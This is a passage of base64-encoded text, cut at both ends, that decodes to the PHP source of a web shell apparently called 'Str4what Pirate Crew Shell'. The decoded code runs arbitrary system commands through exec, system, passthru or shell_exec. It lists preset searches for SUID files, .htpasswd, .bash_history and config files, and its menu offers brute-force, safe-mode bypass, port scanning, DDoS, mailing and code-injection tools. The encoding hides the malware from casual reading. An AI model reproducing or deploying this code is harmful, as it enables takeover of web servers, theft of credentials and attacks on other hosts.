VuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsDQogICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsDQogICAgICAgICJGaW5kIiA9PiAiIiwNCiAgICAgICAgICAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgICAgICAgICAiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgICAgICAgICAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwNCiAgICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsDQogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsDQogICAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLA0KICAgICAgICAgICJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLA0KICAgICAgICAgICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAgICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsDQogICAgICAgICAgImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwNCiAgICAgICAgICAiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogICAgICAgICAgImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQogICAgICAgICAgImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwNCiAgICAgICAgIkxvY2F0ZSIgPT4gIiIsDQogICAgICAgICAgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLA0KICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsDQogICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLA0KICAgICAgICAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsDQogICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsDQogICAgICAgICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLA0KICAgICAgICAibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwNCiAgICAgICAgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsDQogICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLA0KICAgICAgICAibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsDQogICAgICAgICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLA0KICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLA0KICAgICAgICAibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsDQogICAgICAgICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsDQogICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwNCiAgICAgICAgImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiICAgIA0KICAgICk7DQp9DQoNCmZ1bmN0aW9uIGV4KCRpbikgew0KICAgICRvdXQgPSAnJzsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KICAgICAgICBAZXhlYygkaW4sJG91dCk7DQogICAgICAgICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOw0KICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIEBwYXNzdGhydSgkaW4pOw0KICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIEBzeXN0ZW0oJGluKTsNCiAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOw0KICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCiAgICB9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgew0KICAgICAgICAkb3V0ID0gIiI7DQogICAgICAgIHdoaWxlKCFAZmVvZigkZikpDQogICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KICAgICAgICBwY2xvc2UoJGYpOw0KICAgIH0NCiAgICByZXR1cm4gJG91dDsNCn0NCg0KZnVuY3Rpb24gd2hpY2goJHApIHsNCiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsNCiAgICBpZighZW1wdHkoJHBhdGgpKQ0KICAgICAgICByZXR1cm4gJHBhdGg7DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KICAgIA0KZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7DQogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7DQogICAgZ2xvYmFsICRjb2xvcjsNCiAgICANCiAgICBlY2hvICc8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT4uOjpTdHI0d2hhdCBQaXJhdGUgQ3JldyBTaGVsbDo6LjwvdGl0bGU+PGxpbmsgUkVMPSJTSE9SVENVVCBJQ09OIiBIUkVGPSJodHRwOi8vczI0LnBvc3RpbWcub3JnL3FyY2V2ZnBxcC8xMjMucG5nIj4NCiAgICA8c3R5bGU+DQogICAgICAgIGJvZHkge2JhY2tncm91bmQtY29sb3I6IzIyMjtjb2xvcjojZmZmO30NCiAgICAgICAgYm9keSx0ZCx0aCAgICB7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0NCiAgICAgICAgc3BhbixoMSxhICAgIHsgY29sb3I6Jy4kY29sb3IuJyAhaW1wb3J0YW50OyB9DQogICAgICAgIHNwYW4gICAgICAgIHsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KICAgICAgICBoMSAgICAgICAgICAgIHsgcGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOjBweCAwIDAgNXB4OyB9DQogICAgICAgIGRpdi5jb250ZW50ICAgIHsgcGFkZGluZzogNXB4O21hcmdpbjowIDVweDtiYWNrZ3JvdW5kOiAjMzMzMzMzO2JvcmRlci1ib3R0b206NXB4IHNvbGlkICM0NDQ7fQ0KICAgICAgICBhICAgICAgICAgICAgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQ0KICAgICAgICBhOmhvdmVyICAgICAgICB7IC8qYmFja2dyb3VuZDojNWU1ZTVlOyovIH0NCiAgICAgICAgLm1sMSAgICAgICAgeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCiAgICAgICAgLmJpZ2FyZWEgICAgeyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDttYXJnaW4tdG9wOjVweDt9DQogICAgICAgIGlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0ICAgIHsgbWFyZ2luOjA7Y29sb3I6IzAwRkZGRjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAnLiRjb2xvci4nOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0NCiAgICAgICAgaW5wdXRbdHlwZT0iYnV0dG9uIl06aG92ZXIsaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIge2JhY2tncm91bmQtY29sb3I6Jy4kY29sb3IuJztjb2xvcjojMDAwO30gDQogICAgICAgIGZvcm0gICAgICAgIHsgbWFyZ2luOjBweDsgfQ0KICAgICAgICAjdG9vbHNUYmwgICAgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KICAgICAgICAudG9vbHNJbnAgICAgeyB3aWR0aDogODAlOyB9DQogICAgICAgIC5tYWluIHRoICAgIHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNTU1O2ZvbnQtd2VpZ2h0OiBib2xkO30NCiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30NCiAgICAgICAgLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9DQogICAgICAgIC5tZW51IHtiYWNrZ3JvdW5kOiAjMzMzO30NCiAgICAgICAgLm1lbnUgdGh7cGFkZGluZzo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9DQogICAgICAgIC5tZW51IHRoOmhvdmVye2JhY2tncm91bmQ6IzQ0NDt9DQogICAgICAgIC5sMSB7YmFja2dyb3VuZC1jb2xvcjojNDQ0O30NCiAgICAgICAgcHJlIHtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9DQogICAgICAgICNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9DQogICAgICAgIC5sb2dvIHt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6NjBweDt9DQogICAgICAgIC5sb2dvIHN1cCB7Zm9udC1zaXplOiAxNXB4O3ZlcnRpY2FsLWFsaWduOiB0b3A7bWFyZ2luLWxlZnQ6IC0xNHB4O30NCiAgICAgICAgLmNwciB7bWFyZ2luLWJvdHRvbTo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9DQogICAgICAgIC5jcGIge3dpZHRoOjM0cHg7bWFyZ2luOjAgNXB4O30NCiAgICAgICAgLmVjYTEge2ZvbnQtc2l6ZTogMTZweDtmb250LXdlaWdodDogYm9sZDtsZXR0ZXItc3BhY2luZzogMTBweDttYXJnaW46IDAgMnB4IDAgMTdweDt0ZXh0LWFsaWduOiBjZW50ZXI7fQ0KICAgICAgICAuZWNhMiB7Zm9udC1zaXplOiAxM3B4O2ZvbnQtd2VpZ2h0OiBib2xkO2xldHRlci1zcGFjaW5nOiAzcHg7bWFyZ2luOiAwIDJweCAwIDdweDt0ZXh0LWFsaWduOiBjZW50ZXI7fQ0KICAgICAgICAubnBvYWQgdGQge3BhZGRpbmc6MDt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgICAgICBmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7DQogICAgICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jOw0KICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsNCiAgICAgICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7DQogICAgICAgICAgICBpZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzOw0KICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KICAgICAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCiAgICAgICAgICAgIHZhciBwYXJhbXMgPSAiYWpheD10cnVlIjsNCiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KICAgICAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCiAgICAgICAgICAgIHNyKCInLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiciLCBwYXJhbXMpOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7ICAgIA0KICAgICAgICAgICAgaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkgew0KICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOw0KICAgICAgICAgICAgICAgIHJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOw0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSB7DQogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7DQogICAgICAgICAgICAgICAgaWYgKHJlcSkgew0KICAgICAgICAgICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgICAgICAgICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsNCiAgICAgICAgICAgIGlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQ0KICAgICAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICAgICAgICAgICAgIC8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7DQogICAgICAgICAgICAgICAgICAgIHZhciByZWcgPSBuZXcgUmVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7DQogICAgICAgICAgICAgICAgICAgIHZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsNCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVsc2UgYWxlcnQoIlJlcXVlc3QgZXJyb3IhIik7DQogICAgICAgIH0NCiAgICA8L3NjcmlwdD4NCiAgICA8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsiPjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojNDQ0OyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkICM0NDQ7Ij4NCiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydhJ10pPyRfUE9TVFsnYSddOicnKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJyI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AyJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTonJykuJyI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKTonJykuJyI+DQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+DQogICAgPC9mb3JtPic7DQogICAgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KICAgICR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsNCiAgICAkZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsNCiAgICAka2VybmVsID0gQHBocF91bmFtZSgncycpOw0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgew0KICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQogICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsNCiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOw0KICAgICAgICAkZ3JvdXAgPSAiPyI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsNCiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsNCiAgICAgICAgJHVzZXIgPSAkdWlkWyduYW1lJ107DQogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsNCiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KICAgICAgICAkZ2lkID0gJGdpZFsnZ2lkJ107DQogICAgfQ0KICAgICRjd2RfbGlua3MgPSAnJzsNCiAgICAkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KICAgICRuPWNvdW50KCRwYXRoKTsNCiAgICBmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsNCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOw0KICAgICAgICBmb3IoJGo9MDskajw9JGk7JGorKykNCiAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KICAgIH0NCiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsNCiAgICAkb3B0X2NoYXJzZXRzID0gJyc7DQogICAgZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pDQogICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsNCiAgICAkbSA9IGFycmF5KCdTZWMuIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdCeXBhc3Nlcic9PidTYWZlTW9kZScsJ1NhZmUgTW9kZSc9PidCeXBhc3MnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnLCdSZWFkYWJsZSBEaXJzJz0+J1JlYWRhYmxlJywnUG9ydCBTY2FubmVyJz0+J1BvcnRTY2FubmVyJywnU3ltbGluayc9PidTeW1saW5rJywnRERvUyc9PidEZG9zJywnTWFpbCc9PidNYWlsJywnQ29kZSBJbmplY3Rvcic9PidJbmplY3RvcicpOw0KICAgIGlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQ0KICAgICRtWydTZWxmS2lsbCddID0gJ1NlbGZSZW1vdmUnOw0KICAgICRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOw0KICAgICRtZW51ID0gJyc7DQogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikNCiAgICAgICAgJG1lbnUgLj0gJzx0aD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT48L3RoPic7DQogICAgJGRyaXZlcyA9ICIiOw0KICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgew0KICAgICAgICBmb3JlYWNoKCByYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUgKXsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGRyaXZlLic6XFwnKSkNCiAgICAgICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQogICAgICAgIH0NCiAgICAgICAgJGRyaXZlcyAuPSAnPGJyIC8+OiAnOw0KICAgIH0NCiAgICBpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4Jykgew0KICAgICAgICAkZG9taW5pb3MgPSBAZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOw0KICAgICAgICBpZighJGRvbWluaW9zKSB7DQogICAgICAgICAgICAkZDBjID0gIkNBTlQgUkVBRCBuYW1lZC5jb25mIjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIEBwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb21pbmlvcywgJG91dCk7DQogICAgICAgICAgICAkb3V0ID0gc2l6ZW9mKGFycmF5X3VuaXF1ZSgkb3V0WzFdKSk7DQogICAgICAgICAgICAkZDBjID0gJG91dC4iICBEb21haW5zIjsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgICRkMGMgPSAiIC0tLSAiOw0KICAgIH0NCiAgICBpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApDQogICAgew0KICAgICAgICAkdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOw0KICAgICAgICBpZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKSB7DQogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgIGZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pIHsgaWYod2hpY2goJGl0ZW0pKSAkdXNlZmwuPSAkaXRlbS4nLCc7IH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXko